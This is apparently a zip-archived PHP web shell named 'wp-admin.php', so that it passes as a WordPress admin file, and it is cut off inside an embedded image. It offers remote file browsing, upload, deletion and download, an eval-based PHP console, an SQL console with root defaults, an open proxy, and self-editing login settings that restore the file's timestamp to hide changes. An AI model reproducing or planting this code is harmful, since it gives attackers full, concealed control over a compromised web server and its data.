                                                                                                                                                                                
                                                                                                                                                                                
PK       ! 2ޕ( (   wp-admin.phpnu [                                                                                                                                                                                        
                                                                                                                                                                                
<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>"hello"</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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